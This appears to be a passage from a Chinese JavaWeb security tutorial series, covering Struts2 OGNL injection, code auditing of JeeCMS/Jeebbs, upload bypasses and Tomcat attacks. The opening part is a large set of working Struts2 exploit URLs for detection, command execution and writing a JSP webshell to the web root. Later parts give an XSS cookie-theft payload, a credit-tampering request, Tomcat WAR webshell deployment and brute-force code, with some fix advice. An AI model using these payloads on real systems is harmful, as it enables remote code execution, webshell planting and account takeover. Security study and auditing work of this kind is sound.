\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('\43xman.getWriter().println(%22
%22)')(d))&(i99)(('\43xman.getWriter().close()')(d))
POC2(类型转换漏洞需要把POC加在整型参数上):
http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess
=true,@org.apache.struts2.ServletActionContext@getResponse().getWriter().println(%22
%22))%2b'
POC3(需要注意这里也必须是加载一个String(字符串类型)的参数后面,使用的时候把URL里面的两个foo替换成目标参数(注意POC里面还有个foo)):
http://127.0.0.1/Struts2/hello.action?foo=(%23context
=%20new%20java.lang.Boolean(false),%23_memberAccess
=new%20java.lang.Boolean(true),@org.apache.struts2.ServletActionContext@getResponse().getWriter().println(%22
%22))&z
=true
POC4:
http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,%23s3cur1ty=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23s3cur1ty.println(%22
%22),%23s3cur1ty.close())(aa)&x

POC5:
http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess
=true,%23response=@org.apache.struts2.ServletActionContext@getResponse().getWriter().println(%22
%22),%23response.close()}
POC6:
http://127.0.0.1/Struts2/$%7B%23_memberAccess
=true,%23resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23resp.println(%22
%22),%23resp.close()%7D.action
POC7:
http://localhost/Struts2/test.action?redirect:${%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23w.println('
'),%23w.flush(),%23w.close()}
@org.apache.struts2.ServletActionContext@getResponse().getWriter().println(%22
%22)其实是静态调用ServletActionContext上面已经讲过了ServletActionContext能够拿到真正的HttpServletRequest、HttpServletResponse、ServletContext忘记了的回头看去。拿到一个HttpServletResponse响应对象后就可以调用getWriter方法(返回的是PrintWriter)让Servlet容器上输出
了,而其他的POC也都做了同样的事:拿到HttpServletResponse,然后输出
。其中的allowStaticMethodAccess在Struts2里面默认是false,也就是默认不允许静态方法调用。
精确判断是否存在(延迟判断):
POC1:
http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context
\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(5000)')(d))
POC2:
http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess
=true,@java.lang.Thread@sleep(5000))%2b'
POC3:
http://127.0.0.1/Struts2/hello.action?foo=%28%23context
%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess
%3d+new+java.lang.Boolean%28true%29,@java.lang.Thread@sleep(5000))(meh%29&z
=true
POC4:
http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3d+new+java.lang.Boolean(false)%2c+%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c+%23a%3d%40java.lang.Thread@sleep(5000))(aa)&x

POC5:
http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess
=true,@java.lang.Thread@sleep(5000)}
POC6:
http://127.0.0.1/Struts2/${%23_memberAccess
=true,@java.lang.Thread@sleep(5000)}.action
之前很多的利用工具都是让线程睡一段时间再去计算时间差来判断漏洞是否存在。这样比之前的回显更靠谱,缺点就是慢。而实现这个POC的方法同样是非常的简单其实就是静态调用java.lang.Thread.sleep(5000)就行了。而命令执行原理也是一样的。
命令执行:
关于回显:webStr\75new\40byte
修改为合适的长度。 POC1:
http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context
\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(h)(('\43webRootzpro\75@java.lang.Runtime@getRuntime().exec(\43req.getParameter(%22cmd%22))')(d))&(i)(('\43webRootzproreader\75new\40java.io.DataInputStream(\43webRootzpro.getInputStream())')(d))&(i01)(('\43webStr\75new\40byte
')(d))&(i1)(('\43webRootzproreader.readFully(\43webStr)')(d))&(i111)('\43webStr12\75new\40java.lang.String(\43webStr)')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('\43xman.getWriter().println(\43webStr12)')(d))&(i99)(('\43xman.getWriter().close()')(d))&cmd=cmd%20/c%20ipconfig
POC2:
http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess
=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte
,%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%23result))%2b'&cmd=cmd%20/c%20ipconfig
POC3:
http://127.0.0.1/freecms/login_login.do?user.loginname=(%23context
=%20new%20java.lang.Boolean(false),%23_memberAccess
=new%20java.lang.Boolean(true),%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte
,%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%23result))&z
=true&cmd=cmd%20/c%20set
POC4:
http://127.0.0.1/Struts2/test.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23a=%40java.lang.Runtime%40getRuntime().exec(%23req.getParameter(%22cmd%22)).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5b50000%5d,%23c.read(%23d),%23s3cur1ty=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23s3cur1ty.println(%23d),%23s3cur1ty.close())(aa)&x
&cmd=cmd%20/c%20netstat%20-an
POC5:
http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess
=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte
,%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%23result),%23response.close()}&cmd=cmd%20/c%20set
POC6:
http://localhost/struts2-blank/example/HelloWorld.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String
{'netstat','-an'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char
,%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
其实在Java里面要去执行一个命令的方式都是一样的,简单的静态调用方式
java.lang.Runtime.getRuntime().exec("net user selina 123 /add");
就可以执行任意命令了。Exec执行后返回的类型是java.lang.Process。Process是一个抽象类,final class ProcessImpl extends Process也是Process的具体实现。而命令执行后返回的Process可以通过
public OutputStream getOutputStream() public InputStream getInputStream()
直接输入输出流,拿到InputStream之后直接读取就能够获取到命令执行的结果了。而在Ognl里面不能够用正常的方式去读取流,而多是用DataInputStream的readFully或BufferedReader的read方法全部读取或者按byte读取的。因为可能会读取到半个中文字符,所以可能会存在乱码问题,自定义每次要读取的大小就可以了。POC当中的/c 不是必须的,执行dir之类的命令可以加上。
Process java.lang.Runtime.exec(String command) throws IOException
GetShell POC: poc1:
http://127.0.0.1/Struts2/test.action?('\u0023_memberAccess
')(meh)=true&(aaa)(('\u0023context
\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean(%22false%22)))&(i1)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i12)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i13)(('\43xman.getWriter().println(\43req.getServletContext().getRealPath(%22\u005c%22))')(d))&(i2)(('\43fos\75new\40java.io.FileOutputStream(new\40java.lang.StringBuilder(\43req.getRealPath(%22\u005c%22)).append(@java.io.File@separator).append(%22css3.jsp%22).toString())')(d))&(i3)(('\43fos.write(\43req.getParameter(%22p%22).getBytes())')(d))&(i4)(('\43fos.close()')(d))&p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
POC2(类型转换漏洞需要把POC加在整型参数上):
http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess
=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),new+java.io.BufferedWriter(new+java.io.FileWriter(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22)).append(%23req.getParameter(%22p%22)).close())%2b'%20&p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
POC3(需要注意这里也必须是加载一个String(字符串类型)的参数后面,使用的时候把URL里面的两个foo替换成目标参数(注意POC里面还有个foo)):
http://127.0.0.1/Struts2/hello.action?foo=%28%23context
%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess
%3d+new+java.lang.Boolean%28true%29,%23req=@org.apache.struts2.ServletActionContext@getRequest(),new+java.io.BufferedWriter(new+java.io.FileWriter(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22)).append(%23req.getParameter(%22p%22)).close())(meh%29&z
=true&p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
POC4:
http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),new+java.io.BufferedWriter(new+java.io.FileWriter(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22)).append(%23req.getParameter(%22p%22)).close()(aa)&x
&p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
POC5:
http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess
=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),new+java.io.BufferedWriter(new+java.io.FileWriter(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22)).append(%23req.getParameter(%22p%22)).close()}&p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
POC6:
http://localhost/Struts2/test.action?redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\", "/"),new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
比如POC4当中首先就是把allowStaticMethodAccess改为trute即允许静态方法访问。然后再获取请求对象,从请求对象中获取网站项目的根路径,然后在根目录下新建一个css3.jsp,而css3.jsp的内容同样来自于客户端的请求。POC4中的p就是传入的参数,只要获取p就能获取到内容完成文件的写入了。之前已经说过Java不是动态的脚本语言,所以没有eval。不能像PHP那样直接用eval去动态执行,所以Java里面没有真正意义上的一句话木马。菜刀只是提供了一些常用的一句话的功能的具体的实现,所以菜刀的代码会很长,因为这些代码在有eval的情况下是可以通过发送请求的形式去构造的,在这里就必须把代码给上传到服务器去编译成执行。 Struts2: 关于修补仅提供思路,具体的方法和补丁不提供了。Struts2默认后缀是action或者不写后缀,有的改过代码的可能其他后缀如.htm、.do,那么我们只要拦截这些请求进行过滤就行了。
1、 从CDN层可以拦截所有Struts2的请求过滤OGNL执行代码 2、 从Server层在请求Struts2之前拦截其Ognl执行。 3、 在项目层面可以在struts2的filter加一层拦截 4、 在Struts2可以用拦截器拦截 5、 在Ognl源码包可以拦截恶意的Ognl请求 6、 实在没办法就打补丁 7、 终极解决办法可以考虑使用其他MVC框架

加粗

作者:园长MM

JavaWeb开发概念

有MM的地方就有江湖,有程序的地方就有漏洞。现在已经不是SQL注入漫天的年代了,Java的一些优秀的开源框架让其项目坚固了不少。在一个中大型的Web应用漏洞的似乎永远都存在,只是在于影响的大小、发现的难易等问题。有很多比较隐晦的漏洞需要在了解业务逻辑甚至是查看源代码才能揪出来。JavaWeb跟PHP和ASP很大的不同在于其安全性相对来说更高。但是具体体现在什么地方?JavaWeb开发会有那些问题?这些正是我们今天讨论的话题。


Java分层思想
通过前面几章的介绍相信已经有不少的朋友对Jsp、Servlet有一定了解了。上一节讲MVC的有说的JSP+Servlet构成了性能好但开发效率并不高的Model2。在JavaWeb开发当中一般会分出很多的层去做不同的业务。
常见的分层

1、展现层(View 视图) 2、控制层(Controller 控制层) 3、服务层(Service) 4、实体层(entity 实体对象、VO(value object) 值对象 、模型层(bean)。 5、业务逻辑层BO(business object) 6、持久层(dao- Data Access Object 数据访问层、PO(persistant object) 持久对象)

依赖关系
在了解一个项目之前至少要知道它的主要业务是什么主要的业务逻辑和容易出现问题的环节。其次是了解项目的结构和项目当中的类依赖。再次才是去根据业务模块去读对应的代码。从功能去关联业务代码入手往往比逮着段代码就看效率高无数倍。 前几天在Iteye看到一款不错的生成项目依赖图的工具- Structure101,试用了下Structure101感觉挺不错的,不过是收费的而且价格昂贵。用Structure101生成Jeebbs的项目架构图: Structure101导入jeebss架构图-包调用:  Structure101包调用详情: Structure101可以比较方便的去生成类关系图、调用图等。Jeebbs项目比较大,逻辑相对复杂,不过可以看下我的半成品的博客系统。 项目图: 架构图: 控制层: 调用流程(demo还没处理异常,最好能try catch下用上面的logger记录一下): 

漏洞发掘基础

Eclipse采用的是SWT编写,俗称万能IDE拥有各种语言的插件可以写。Myeclipse是Eclipse的插件版,功能比eclipse更简单更强大。 导入Web项目到Myeclipse,Myeclipse默认提供了主流的Server可以非常方便的去部署你的Web项目到对应的Server上,JavaWeb容器异常之多,而ASP、 PHP的容器却相对较少。容器可能除了开发者有更多的选择外往往意味着需要调试程序在不同的Server半桶的版本的表现,这是让人一件非常崩溃的事。 调试开源的项目需下载源码到本地然后导入部署,如果没有源代码怎么办?一般情况下JavaWeb程序不会去混淆代码,所以通过之前的反编译工具就能够比较轻松的拿到源代码。但是反编译过来的源代码并不能够直接作用于debug。不过对我们了解程序逻辑和结构有了非常大的帮助,根据逻辑代码目测基本上也能完成debug。  在上一节已经讲过了一个客户端的请求到达服务器端后,后端会去找到这个URL所在的类,然后调用业务相关代码完成请求的处理,最后返回处理完成后的内容。跟踪请求的方式一般是先找到对应的控制层,然后深入到具体的逻辑代码当中。另一种方法是事先到dao或业务逻辑层去找漏洞,然后逆向去找对应的控制层。最直接的如model1、model2并不用那么费劲直接代码在jsp、servlet代码里面就能找到一大堆业务逻辑。
按业务类型有序测试
普通的测试一般都是按功能和模块去写测试的用例,即按照业务一块一块去测试对应的功能。这一种方式是顺着了Http请求跟踪到业务逻辑代码,相对来说比较简单方便,而且逻辑会更加的清晰。 上面的架构图和包截图不知道有没有同学仔细看,Java里面的包的概念相对来说比较严禁。公认的命名方式是com/org.公司名.项目名.业务名全小写。 如:org.javaweb.ylog.dao部署到服务器上对应的文件夹应当是/WEB-INF/classes/org/javaweb/ylog/dao/其中的.意味着一级目录。 现在知道了包和分层规范要找到控制层简直就是轻而易举了,一般来说找到Controller或者Action所在的包的路径就行了。左边是jeebbs右边是我的blog,其中的action下和controller下的都是控制层的方法。@RequestMapping("/top.do")表示了直接把请求映射到该方法上,Struts2略有不同,需要在xml配置一个action对应的处理类方法和返回的页面。不过这暂时不是我们讨论的话题,我们需要知道隐藏在框架背后的请求入口的类和方法在哪。  用例图:
用户注册问题
用户逻辑图: 容易出现的问题:
1、没有校验用户唯一性。 2、校验唯一性和存储信息时拼Sql导致Sql注入。 3、用户信息(用户名、邮箱等)未校验格式有效性,可能导致存储性xss。 4、头像上传漏洞。 5、用户类型注册时可控导致注册越权(直接注册管理员帐号)。 6、注册完成后的跳转地址导致xss。

Jeebbs邮箱逻辑验证漏洞:
注册的URL地址是:http://localhost/jeebbs/register.jspx, register.jspx很明显是控制层映射的URL,第一要务是找到它。然后看他的逻辑。
Tips:Eclipse全局搜索关键字方法 
根据搜索结果找到对应文件: 根据结果找到对应的public class RegisterAct类,并查看对应逻辑代码:  找到控制层的入口后即可在对应的方法内设上断点,然后发送请求到控制层的URL进入Debug模式。 注册发送数据包时用Tamper data拦截并修改请求当中的email为xss攻击代码。  选择任意对象右键Watch即可查看对应的值(任意完整的,有效的对象包括方法执行)。 F6单步执行。 F5进入validateSubmit: F6跟到125行注册调用: F3可以先点开registerMember类看看: 找到接口实现类即最终的注册逻辑代码:
Jeebbs危险的用户名注册漏洞
Jeebbs的数据库结构当中用户名长度过长:
`username` varchar(100) NOT NULL COMMENT '用户名'
这会让你想到了什么? 当用户名的输入框失去焦点后会发送Ajax请求校验用户名唯一性。请输入一个长度介于 3 和 20 之间的字符串。也就是说满足这个条件并且用户名不重复就行了吧?前端是有用户名长度判断的,那么后端代码呢?因为我已经知道了用户名长度可以存100个字符,所以如果没有判断格式的话直接可以注册100个字符的用户名。首先输入一个合法的用户名完成客户端的唯一性校验请求,然后在点击注册发送数据包的时候拦截请求修改成需要注册的xss用户名,逻辑就不跟了跟上面的邮箱差不多,想像一下用户名可以xss是多么的恐怖。任何地方只要出现粗线下xss用户名就可以轻易拿到别人的cookie。 
Cookie明文存储安全问题: 
代码没有任何加密就直接setCookie了,如果说cookie明文储存用户帐号密码不算漏洞的话等会弹出用户明文密码不知道是算不算漏洞。
个性签名修改为xss,发帖后显示个性签名处可xss 
因为个性签名会在帖子里显示,所以回帖或者发帖就会触发JS脚本了。这里说一下默认不记住密码的情况下(不设置cookie)不能够拿到cookie当中的明文密码,这个漏洞用来打管理员PP挺不错的。不应该啊,起码应该过滤下。
不科学的积分漏洞
积分兑换方法如下:
@RequestMapping(value = "/member/creditExchange.jspx") public void creditExchange(Integer creditIn, Integer creditOut, Integer creditOutType, Integer miniBalance, String password, HttpServletRequest request, HttpServletResponse response) {}
可以看到这里直接用了SpringMvc注入参数,而这些参数恰恰是控制程序逻辑的关键。比如构建如下URL,通过GET或者POST方式都能恶意修改用户的积分:
http://localhost/jeebbs/member/creditExchange.jspx?creditIn=26&creditOut=-27600&creditOutType=1&miniBalance=-10000000&password=wooyun
因为他的逻辑是这么写的:
if(user.getPoint()-creditOut>miniBalance){ balance=true; }else{ flag=1; }
从User对象里面取出积分的数值,而积分兑换威望具体需要多少是在确定兑换关系后由ajax去后台计算出来的,提交的时候也没有验证计算的结果有没有被客户端改过。其中的creditOut和miniBalance都是我们可控的。所以这个等式不管在什么情况下我们都可以让它成立。
打招呼XSS 逻辑有做判断:

1、用户名为空。 2、不允许发送消息给自己。 3、用户名不存在。
在控制层并没有做过滤:  在调用com.jeecms.bbs.manager.impl. BbsMessageMngImpl.java的sendMsg方法的时候依旧没有过滤。到最终的BbsMessageDaoImpl 的save方法还是没有过滤就直接储存了; 一般性的做法,关系到用户交互的地方最好做referer和xss过滤检测,控制层负责收集数据的同时最好处理下用户的请求,就算controller不处理起码在service层做下处理吧。
发布投票贴xss发布一片投票帖子,标题xss内容。

邮箱的两处没有验证xss

个人资料全部xss

投稿打管理员后台点击查看触发

搜索xss
http://demo.jeecms.com/search.jspx?q=%2F%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3Ehello&channelId= 漏洞N………
按程序实现逆向测试

”逆向”找SQL注入
SQL注入理论上是最容易找的,因为SQL语句的特殊性只要Ctrl+H 搜索select、from 等关键字就能够快速找到项目下所有的SQL语句,然后根据搜索结果基本上都能够确定是否存在SQL注入。凡是SQL语句中出现了拼SQL(如select * from admin where id=’”+id+”’)那么基本上80%可以确定是SQL注入。但也有特例,比如拼凑的SQL参数并不受我们控制,无法在前台通过提交SQL注入语句的方式去控制最终的查询SQL。而采用预编译?占位方式的一般不存在注入。 比如搜索51javacms项目当中的SQL语句: 
Tips:ORM框架特殊性

Hibernate HQL:
需要注意的是Hibernate的HQL是对对象进行操作,所以它的SQL可能是:
String hql = "from Emp"; Query q = session.createQuery(hql);
也可以
String hql = "select count(*) from Emp"; Query q = session.createQuery(hql);
甚至是
String hql = "select new Emp(e.empno,e.ename) from Emp e "; Query q = session.createQuery(hql);

Mybatis(Ibatis3.0后版本叫Mybatis):
Ibatis、Mybatis的SQL语句可以基于注解的方式写在类方法上面,更多的是以xml的方式写到xml文件。 在当前项目下搜索SQL语句关键字,查找疑似SQL注入的调用: 进入搜索结果的具体逻辑代码: 最外层的Contrller:  “逆向”找到控制层URL以后构建的SQL注入请求: 可能大家关注的代码审计最核心的怎么去发掘SQL注入这样高危的漏洞,其次是XSS等类型的漏洞。
小结:

学会怎样Debug。 学会怎样通过从控制层到最终的数据访问层的代码跟踪和从数据访问层倒着找到控制层的入口。 学会怎样去分析功能模块的用例。

文件上传、下载、编辑漏洞
文件上传漏洞即没有对上传的文件的后缀进行过滤,导致任意文件上传。有的时候就算有后缀判断,但是由于解析漏洞造成GETSHELL这是比较难避免的。
1、没有做任何限制的上传漏洞:
这一种是不需要任何绕过直接就可以上传任意脚本威胁性可想而知。
2、Bypass白名单和黑名单限制
某些时候就算做了后缀验证我们一样可以通过查看验证的逻辑代码找到绕过方式。第35、36行分别定义了白名单和黑名单后缀列表。41到46行是第一种通过黑名单方式校验后缀合法性。47到57行代码是第二种通过白名单方式去校验后缀合法性。现在来瞧下上诉代码都有那些方式可以Bypass。
1、假设37行代码的upload不是在代码里面写死了而是从客户端传入的参数,那么可以自定义修改path把文件传到当前server下的任意路径。 2、第39行犯下了个致命的错误,因为文件名里面可以包含多个”.”而”xxxxx”.indexOf(“.”)取到的永远是第一个”.”,假设我们的文件名是1.jpg.jsp即可绕过第一个黑名单校验。 3、第42行又是另一个致命错误s.equals(fileSuffix)比较是不区分大小写假设我们提交1.jSP即可突破验证。 4、第50行同样是一个致命的错误,直接用客户端上传的文件名作为最终文件名,可导致多个漏洞包括解析漏洞和上面的1.jpg.jsp上传漏洞。

文件上传漏洞修复方案:

1、文件上传的目录必须写死 2、把原来的fileName.indexOf(".")改成fileName.lastIndexOf(".") 3、s.equals(fileSuffix)改成s.equalsIgnoreCase(fileSuffix) 即忽略大小写或者把前面的fileSuffix字符转换成小写s.equals(fileSuffix.toLowerCase())

文件下载漏洞
51JavaCms典型的文件下载漏洞,我们不妨看下其逻辑为什么会存在漏洞。51javacms并没有用流行的SSH框架而是用了Servlert3.0自行做了各种封装,实现了各种漏洞。Ctrl+H搜索DownLoadFilePage找到下载的Servlet: 改装了下51javacms的垃圾代码:  请求不存在的文件: 跨目录请求一个存在的文件:
文件编辑漏洞
JeeCms之前的后台就存在任意文件编辑漏洞(JEECMS后台任意文件编辑漏洞and官方漏洞及拿shell :http://wooyun.org/bugs/wooyun-2010-04030)官方的最新的修复方式是把path加了StartWith验证。

基于Junit高级测试

Junit写单元测试这个难度略高需要对代码和业务逻辑有比较深入的了解,只是简单的提下,有兴趣的朋友可以自行了解。 JUnit是由 Erich Gamma 和 Kent Beck 编写的一个回归测试框架(regression testing framework)。Junit测试是程序员测试,即所谓白盒测试,因为程序员知道被测试的软件如何(How)完成功能和完成什么样(What)的功能。Junit是一套框架,继承TestCase类,就可以用Junit进行自动测试了。

其他


1、通过查看Jar包快速定位Struts2漏洞
比如直接打开lerxCms的lib目录:
2、报错信息快速确认Server框架
类型转换错误: Struts2:
3、二次校验逻辑漏洞
比如修改密保邮箱业务只做了失去焦点唯一性校验,但是在提交的时候听没有校验唯一性
4、隐藏在Select框下的邪恶
Select下拉框能有什么漏洞?一般人我不告诉他,最常见的有select框Sql注入、存储性xss漏洞。搜索注入的时候也许最容易出现注入的地方不是搜索的内容,而是搜索的条件! Discuz select下拉框存储也有类型的问题,但Discuz对Xss过滤较严未造成xss: 下拉框的Sql注入:  小结: 本节不过是漏洞发掘审计的冰山一角,很多东西没法一次性写出来跟大家分享。本系列完成后公布ylog博客源码。本节源代码暂不发布,如果需要源码站内。

作者:园长MM

java应用服务器

Java应用服务器主要为应用程序提供运行环境,为组件提供服务。Java 的应用服务器很多,从功能上分为两类:JSP 服务器和 Java EE 服务器。
常见的Server概述
常见的Java服务器:Tomcat、Weblogic、JBoss、GlassFish、Jetty、Resin、IBM Websphere、Bejy Tiger、Geronimo、Jonas、Jrun、Orion、TongWeb、BES Application Server、ColdFusion、Apusic Application Server、Sun Application Server 、Oracle9i/AS、Sun Java System Application Server。 Myeclipse比较方便的配置各式各样的Server,一般只要简单的选择下Server的目录就行了。  部署完成后启动进入各个Server的后台:
构建WebShell war文件

1、打开Myeclipse新建Web项目 2、把jsp放到WebRoot目录下 3、导出项目为war文件

Tomcat

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。
Tomcat版本
Tomcat主流版本:5-6-7,最新版Tomcat8刚发布不久。Tomcat5较之6-7在文件结构上有细微的差异,6-7-8没有大的差异。最新版的Tomcat8主要新增了:Servlet 3.1, JSP 2.3, EL 3.0 and Web Socket 1.0支持。 版本详情说明:http://tomcat.apache.org/whichversion.html 结构目录: Tomcat5:
Bin、common、conf、LICENSE、logs、NOTICE、RELEASE-NOTES、RUNNING.txt、Server、shared、Temp、webapps、work
Tomcat6-8:
Bin、conf、lib、LICENSE、logs、NOTICE、RELEASE-NOTES、RUNNING.txt、temp、webapps、work
关注conf和webapps目录即可。conf目录与非常重要的tomcat配置文件比如登录帐号所在的tomcat-users.xml;域名绑定目录、端口、数据源(部分情况)、SSL所在的server.xml;数据源配置所在的context.xml文件,以及容器初始化调用的web.xml。 源码下载: Tomcat6:http://svn.apache.org/repos/asf/tomcat/tc6.0.x/tags/TOMCAT_6_0_18/ Tomcat7:http://svn.apache.org/repos/asf/tomcat/tc7.0.x/trunk/
Tomcat默认配置

1、tomcat-users.xml
Tomcat5默认配置了两个角色:tomcat、role1。其中帐号为both、tomcat、role1的默认密码都是tomcat。不过都不具备直接部署应用的权限,默认需要有manager权限才能够直接部署war包,Tomcat5默认需要安装Administration Web Application。Tomcat6默认没有配置任何用户以及角色,没办法用默认帐号登录。 配置详解:http://tomcat.apache.org/tomcat-7.0-doc/manager-howto.html#Introduction
2、context.xml
Tomcat的上下文,一般情况下如果用Tomcat的自身的数据源多在这里配置。找到数据源即可用对应的帐号密码去连接数据库。
WEB-INF/web.xml

3、server.xml
Server这个配置文件价值非常高,通常的访问端口、域名绑定和数据源可以在这里找到,如果想知道找到域名对应的目录可以读取这个配置文件。如果有用Https,其配置也在这里面能够找到。
4、web.xml
web.xml之前讲MVC的时候有提到过,项目初始化的时候会去调用这个配置文件这个文件一般很少有人动但是不要忽略其重要性,修改web.xml可以做某些YD+BT的事情。
Tomcat获取WebShell

Tomcat后台部署war获取WebShell
登录tomcat后台:http://xxx.com/manager/html,一般用WAR file to deploy就行了,Deploy directory or WAR file located on server这种很少用。 1>Deploy directory or WAR file located on server Web应用的URL入口、XML配置文件对应路径、WAR文件或者该Web应用相对于/webapps目录的文件路径,然后单击 按钮,即可发布该Web应用,发布后在Application列表中即可看到该Web应用的信息。这种方式只能发布位于/webapps目录下的Web应用。 2>WAR file to deploy 选择需要发布的WAR文件,然后单击Deploy,即可发布该Web应用,发布后在Application列表中即可看到该Web应用的信息。这种方式可以发布位于任意目录下的Web应用。 其中,第二种方式实际上是把需要发布的WAR文件自动复制到/webapps目录下,所以上述两种方式发布的Web应用都可以通过在浏览器地址栏中输入http://localhost:8080/Web进行访问。
Tips: 当访问xxxx.com找不到默认管理地址怎么办? 1:http://xxxx.com/manager/html 查看是否存在 2:ping xxxx.com 获取其IP地址,在访问:http://111.111.111.111/manager/html 3:遍历server.xml配置读取配置
Tomcat口令爆破

Tomcat登录比较容易爆破,但是之前说过默认不对其做任何配置的时候爆破是无效的。 Tomcat的认证比较弱,Base64(用户名:密码)编码,请求:” /manager/html/”如果响应码不是401(未经授权:访问由于凭据无效被拒绝。)即登录成功。 conn.setRequestProperty("Authorization", "Basic " + new BASE64Encoder().encode((user + ":" + pass).getBytes()));
Tomcat漏洞
